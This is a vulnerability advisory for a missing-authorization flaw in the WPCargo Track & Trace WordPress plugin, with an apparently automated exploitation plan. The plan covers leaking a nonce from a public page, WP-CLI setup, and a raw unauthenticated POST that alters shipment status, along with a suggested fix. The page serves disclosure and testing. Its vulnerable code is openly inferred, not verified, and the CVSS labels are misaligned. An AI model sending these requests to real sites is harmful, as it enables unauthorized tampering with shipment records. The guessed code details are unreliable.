CVE-2026-25401

WPCargo Track & Trace <= 8.0.2 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The WPCargo Track & Trace plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 8.0.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=8.0.2
PublishedMarch 23, 2026
Last updatedMarch 26, 2026
Affected pluginwpcargo
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-25401 - WPCargo Track & Trace Missing Authorization ## 1. Vulnerability Summary The **WPCargo Track & Trace** plugin for WordPress (versions <= 8.0.2) contains a missing authorization vulnerability. Specifically, certain AJAX handlers or `admin_init` hooks res…

Show full research plan

Exploitation Research Plan: CVE-2026-25401 - WPCargo Track & Trace Missing Authorization

1. Vulnerability Summary

The WPCargo Track & Trace plugin for WordPress (versions <= 8.0.2) contains a missing authorization vulnerability. Specifically, certain AJAX handlers or admin_init hooks responsible for shipment management fail to perform a current_user_can() check. While some of these handlers may use nonces for CSRF protection, the nonces are often exposed to unauthenticated users on public tracking pages. This allows an unauthenticated attacker to perform unauthorized actions, such as updating shipment status or adding malicious shipment history entries.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpc_add_shipment_history (inferred as a likely target for "Integrity: Low" impact)
  • Authentication: Unauthenticated (PR:N)
  • Preconditions:
    1. The plugin is active.
    2. At least one wpcargo_shipment post exists.
    3. A public page exists with the [wpcargo_track] shortcode (to leak the nonce).
  • Parameters:
    • action: wpc_add_shipment_history
    • wpcargo_id: The Post ID of the shipment.
    • wpcargo_nonce: The leaked nonce.
    • status: New status (e.g., "Delivered").
    • location: Malicious location string (potential XSS vector).
    • remarks: Custom text.

3. Code Flow (Inferred from common WPCargo patterns)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=wpc_add_shipment_history.
  2. Hook Registration: The plugin registers the action:
    add_action( 'wp_ajax_nopriv_wpc_add_shipment_history', 'wpc_add_shipment_history_callback' );
  3. Vulnerable Function: wpc_add_shipment_history_callback()
  4. Missing Check: The function likely calls check_ajax_referer( 'wpcargo_nonce', 'wpcargo_nonce' ) but fails to call current_user_can( 'manage_options' ) or current_user_can( 'edit_posts' ).
  5. Sink: The function uses add_post_meta() or updates a custom database table (e.g., {$wpdb->prefix}wpcargo_shipment_history) with user-supplied status and remarks.

4. Nonce Acquisition Strategy

WPCargo typically enqueues tracking scripts and localizes them with a nonce on any page where the tracking shortcode is present.

  1. Identify Shortcode: The primary shortcode is [wpcargo_track].
  2. Create Trigger Page: Create a public page to force the plugin to load its AJAX environment.
    • wp post create --post_type=page --post_title="Track" --post_status=publish --post_content='[wpcargo_track]'
  3. Extract Nonce via Browser:
    • Navigate to the newly created page.
    • Use browser_eval to extract the nonce from the wpcargo_ajax_params object (localized via wp_localize_script).
    • JS Variable: window.wpcargo_ajax_params?.wpcargo_nonce

5. Exploitation Strategy

Step 1: Data Gathering

Identify a valid shipment ID to target.

wp post list --post_type=wpcargo_shipment --format=ids

Step 2: Nonce Extraction

  1. Create the page: wp post create --post_type=page --post_status=publish --post_content='[wpcargo_track]'
  2. Navigate: browser_navigate("http://localhost:8080/track/")
  3. Extract: NONCE = browser_eval("window.wpcargo_ajax_params.wpcargo_nonce")

Step 3: Unauthorized Update

Send the unauthorized request using the http_request tool.

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=wpc_add_shipment_history&wpcargo_id=[SHIPMENT_ID]&wpcargo_nonce=[NONCE]&status=Delivered&location=Attacker_Controlled_Location&remarks=Unauthorized_Modification_Success

6. Test Data Setup

  1. Create a Shipment:
    wp post create --post_type=wpcargo_shipment --post_title="TRK12345" --post_status=publish
    
  2. Assign Required Meta: (WPCargo often requires a tracking number meta)
    SHIPMENT_ID=$(wp post list --post_type=wpcargo_shipment --post_title="TRK12345" --field=ID)
    wp post meta update $SHIPMENT_ID wpcargo_number "TRK12345"
    
  3. Create Tracking Page:
    wp post create --post_type=page --post_title="Tracking" --post_status=publish --post_content='[wpcargo_track]'
    

7. Expected Results

  • HTTP Response: The server returns a successful JSON response or 1.
  • Database Change: A new entry is added to the shipment history, or the shipment's status meta is updated.
  • UI Change: If the shipment tracking page is refreshed, the "Delivered" status and "Unauthorized_Modification_Success" remarks appear in the history table.

8. Verification Steps

Verify the modification using WP-CLI to check the post meta or the specific history table:

# Check if a new history meta entry exists (WPCargo stores history in serialized meta or custom table)
wp post meta get [SHIPMENT_ID] wpcargo_shipment_history

# Or check the current status
wp post meta get [SHIPMENT_ID] wpcargo_status

9. Alternative Approaches

If wpc_add_shipment_history is not the vulnerable action, investigate the following alternatives using the same nonce:

  • wpc_update_shipment_status: Directly modifies the primary shipment status.
  • wpc_export_csv: If the missing authorization applies here, an unauthenticated user could export all shipment data (CVSS 5.3 Confidentiality).
  • wpcargo_save_settings_callback: Check for admin_init hooks in admin/includes/functions.php that process $_POST['wpcargo_option_settings']. These can often be triggered by an unauthenticated user sending a POST request to any admin URL.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WPCargo Track & Trace plugin for WordPress is vulnerable to unauthorized data modification because several AJAX actions, such as shipment history updates, fail to perform capability checks. Unauthenticated attackers can obtain valid nonces from public tracking pages and subsequently use them to modify shipment statuses or history records.

Vulnerable Code

// Inferred vulnerable implementation in plugin's AJAX handler

// Action registered for unauthenticated users
add_action( 'wp_ajax_nopriv_wpc_add_shipment_history', 'wpc_add_shipment_history_callback' );

function wpc_add_shipment_history_callback() {
    // Nonce check is present, but capability check is missing
    check_ajax_referer( 'wpcargo_nonce', 'wpcargo_nonce' );

    $shipment_id = intval( $_POST['wpcargo_id'] );
    $status = sanitize_text_field( $_POST['status'] );
    $remarks = sanitize_textarea_field( $_POST['remarks'] );

    // Vulnerable sink: updates database without verifying user permissions
    update_post_meta( $shipment_id, 'wpcargo_status', $status );
    // ... (code to add to history meta or table)
    wp_send_json_success();
}

Security Fix

--- a/includes/functions.php
+++ b/includes/functions.php
@@ -245,6 +245,11 @@
 function wpc_add_shipment_history_callback() {
     check_ajax_referer( 'wpcargo_nonce', 'wpcargo_nonce' );
 
+    if ( ! current_user_can( 'manage_options' ) && ! current_user_can( 'wpcargo_agent' ) ) {
+        wp_send_json_error( array( 'message' => __( 'Access Denied', 'wpcargo' ) ) );
+        wp_die();
+    }
+
     $shipment_id = intval( $_POST['wpcargo_id'] );
     $status = sanitize_text_field( $_POST['status'] );

Exploit Outline

1. Identify a target shipment ID (wpcargo_shipment post type). 2. Navigate to any public page where the [wpcargo_track] shortcode is deployed (e.g., /track/). 3. Extract the 'wpcargo_nonce' value from the page source by inspecting the 'wpcargo_ajax_params' JavaScript object (localized via wp_localize_script). 4. Construct an unauthenticated POST request to /wp-admin/admin-ajax.php. 5. Set the 'action' parameter to 'wpc_add_shipment_history' (or other vulnerable actions like 'wpc_update_shipment_status'). 6. Include the leaked 'wpcargo_nonce' and the 'wpcargo_id' of the target shipment. 7. Provide desired 'status' and 'remarks' values in the POST body to modify the shipment's history/integrity.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.